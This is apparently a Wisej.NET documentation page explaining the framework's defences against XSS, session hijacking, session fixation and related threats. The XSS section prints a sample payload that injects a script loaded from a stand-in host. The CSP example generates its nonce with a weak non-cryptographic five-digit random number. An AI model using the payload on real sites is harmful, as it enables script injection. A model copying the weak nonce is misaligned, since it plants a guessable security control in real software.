Security

Security is a very important topic especially when dealing with web applications. Wisej is secure by design and supports all the latest security defenses. Below you will find the most common threats and a description of how they are handled.

HTML/Script Injection

One of the biggest difference between a traditional HTML-based ASP.NET/MVC/JSP/... application and a Single Page Application (SPA) is that the traditional HTML-based application concatenates HTML strings on the server and sends them back to the client together with scripts, and parses HTML requests from the browser, while an SPA (in our case a Real Time Web Application) doesn't build or parse HTML strings.

In Wisej, everything happens by managing the DOM in the browser while communicated with the server through Ajax JSON packets. There is no possibility of injecting HTML or JavaScripts because we don't use HTML and scripts are not executed (they are simply text) when manipulating the DOM directly.

Cross Site Scripting (XSS)

Cross-Site Scripting is a form of script injection that can actually work in a Wisej.NET application if you display HTML text without encoding or without "sanitizing" it.

A malicious user can enter text like this in a TextBox or DataGridView cell:

<img src="x" src="alert('Hello')" />

<!-- Or better -->

<img src="x" src="e=document.createElement('script');
                  e.src='http://spectre.com/bad.js';
                  document.head.append(e)" />

If your application display the text above as HTML the script will execute. If the content is displayed to other users, the script can theoretically steal anything on the screen.

Wisej.NET by default encodes all texts sent to the browser. Any HTML text will just display as text.

However, if you have set the AllowHtml property to true (on labels, grid columns, buttons, tree nodes, any control that displays text) then Wisej will not encode the HTML and the malicious script will run.

Additionally, if you use a MessageBox or an AlertBox to display a message and concatenate a text (a user name, file name, ...) entered by a malicious user, the HTML will run on the browser because AllowHtml is true by default on MessageBox and AlertBox.

You can either sanitize the text or turn html off like this (MessageBox and AlertBox have the allowHtml optional argument in the Show method):

MessageBox.Show(badText, allowHtml:false);

Starting from Wisej.NET 3.0.10, we have also added a global method that allows your application to process any user input, regardless of which control it comes from. You can assign your own method to the pluggable function TextUtils.ConvertToString(owner, value). This is the default implementation in Wisej.NET:

TextUtils.ConvertToString = (owner, value) =>
{
  if (value == null)
    return null;
  else if (value is string)
    return (string)value;
  else if (value is DateTime)
    return ((DateTime)value).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture);
  else
    return Convert.ToString(value);
};

In your implementation of TextUtils.ConvertToString(owner, value) you can "clean up" any user input before it's assigned to the control. The argument "owner" is the component that is receiving the user input.

Session Hijacking

This is a common problem for all web applications that maintain a session. Binding a session to a user requires either a session cookie or a session id added to the URL.

If someone gets hold of a live session id, they can easily access a live session and breach an application (session hijacking). According to Microsoft, there is very little that can be done to prevent this type of attack when using ASP.NET/MVC. Especially when using the cookieless mode and the session id is added to the URL.

Wisej.NET supports both cookies and cookieless modes, when cookieless is turned on, the session id is plainly visible in the URL. In order to prevent session hijacking, Wisej.NET generates a client fingerprint hash using all the information received by the browser and validates each request. If the client fingerprint doesn't match, Wisej.NET assumes that it's a new client and starts a new session.

The WebSocket connection adds an additional layer of protection since it is impossible to attach two live sockets to the same session. Wisej.NET can also force the client browser to use SSL (https: and wss: for WebSocket) by setting the secure setting to true.

When using WebSocket, it is impossible to send a spoofed request to the same session. When using only HTTP, the computer of the attacker much be identical to the computer of the client that initiated the session, including the browser version, OS, and IP address!

The session hijacking attack as described by OWASP is fully blocked by Wisej on the server side, making the system "secure by design".

Session Fixation

The session fixation attach, as described by OWASP, is a form of "reverse session hijacking. In this scenario, the attacker creates a valid session, then "fixes" the session on the victim's machine using some unspecified means.

The attacks described by OWAP at the page above are preposterous. Something like this doesn't work and has never worked in any browser: http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>

Once the "session is fixated", the victim proceeds to login the application. Resulting in the authentication of the attacker's session. This naïve attack doesn't have a chance of working with Wisej.NET.NET. The server immediately invalidates the "fixed" session id and assigns a brand new session to the victim.

The session fixation attack described by OWAP is fully blocked by Wisej.NET on the server side, making the system "secure by design" (unless you have turned off the "validateClient" option in Default.json).

DoS Attacks

We didn't include code to protect against denial of service attacks (DoS) because it would still be too late once it reaches the http handler. We can ameliorate a DoS event but it doesn't help much at that level since IIS has already used a thread. DoS attacks are better handled at the OS level before they reach the web server, whether it’s Apache or IIS. There are also several HttpHandler samples around, but, again, at the handler level it may be too late to effectively stop a DoS attack.

Authentication

Wisej.NET can authenticate users using any authentication method available to a .NET application. Since nothing is shown to the user - no page, form, or control - or even created, unless your application has created it, your application can perform any kind of authentication before enabling the user to access its resources.

In addition to code authentication, Wisej.NET supports the standard IIS authentication methods and makes the user credentials available to your code in Application.UserIdentity.

Sensitive Data, Keys, Code, Tokens

Traditional HTML-based systems always end up with a mix of javascript on the client, callbacks, postbacks, services, API keys, and so on. A potential intruder can look at the code/page/source and may be able to acquire sensitive information.

The same vulnerability is actually bigger on SPA systems without a server side, like ExtJS, or even standalone qooxdoo, dojo, or any javascript-only framework. You have to put quite a lot of business-logic, visual-logic, and access keys on the client and anything on the client can be inspected. If the JavaScript application needs to use the server - any real application needs to use a server for data storage and other services - you may also have vulnerable end points on the server.

With Wisej.NET absolutely nothing from your application code makes it to the client (unless you put it there). Everything runs safely on the server and all the communications between the server and the client are either property updates or events.

Disabled or Hidden Controls

Wisej.NET performs a second check on the server side to verify that "executable" controls that have fired a click event to the server are indeed enabled and visible. Otherwise, a user could use the browser's dev-tools to perform a click on hidden or disabled controls.

Content Security Policy

Wisej.NET supports a Strict CSP policy compatible with Google, DevExpress, Syncfusion, Telerik and most component vendors.

The easiest CSP to use is the same as DevExpress server-side controls policy:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
</head>

The strictest CSP requires the generation of a random nonce. The configuration looks like this:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
  <script nonce='{random}' src="wisej.wx"></script>      
</head>

When using the random nonce you have to actually generate a random identifier. In some cases you may want to change it every time the application is loaded in the browser. Which requires the Default.html page to be modified on the server side on each request.

There are several ways to accomplish that. You can preprocess the Default.html file using a server side handler and replace a placeholder. Or you can use dynamic HTML pages: i.e. Default.aspx or Default.cshtml (razor) pages or any other dynamic html system.

Here are two samples, one using Default.aspx and the other using Default.cshtml.

<%@ Page Language=C# %>

<!DOCTYPE html>
<html>
<head>
    <title>WisejWebPageCSP</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
    <meta http-equiv="Cache-Control" content="no-store" />

    <script runat="server">
        string nonce = (new Random()).Next(10000,99999).ToString();
    </script>

    <meta http-equiv="Content-Security-Policy" content="default-src 'self';
        script-src 'nonce-<%=nonce%>' 'unsafe-inline' 'unsafe-eval' 'self';
        style-src 'unsafe-inline' 'self';
        img-src 'self' data:" />

    <script nonce='<%=nonce%>' src="wisej.wx"></script>

</head>
<body>
</body>
</html>

Generate a new Session Id

Since 3.5.2 Use Application.RefreshSessionId() at any time, even multiple times, to generate a new session id without losing the currection session. It's good practice to generate a new session id after the user is authenticated on your application.

Generating a new session id makes any captured session immediately null.

Application.RefreshSessionId()may be called at any time, including at a regular interval. There is no noticeable effect to the current session.

Last updated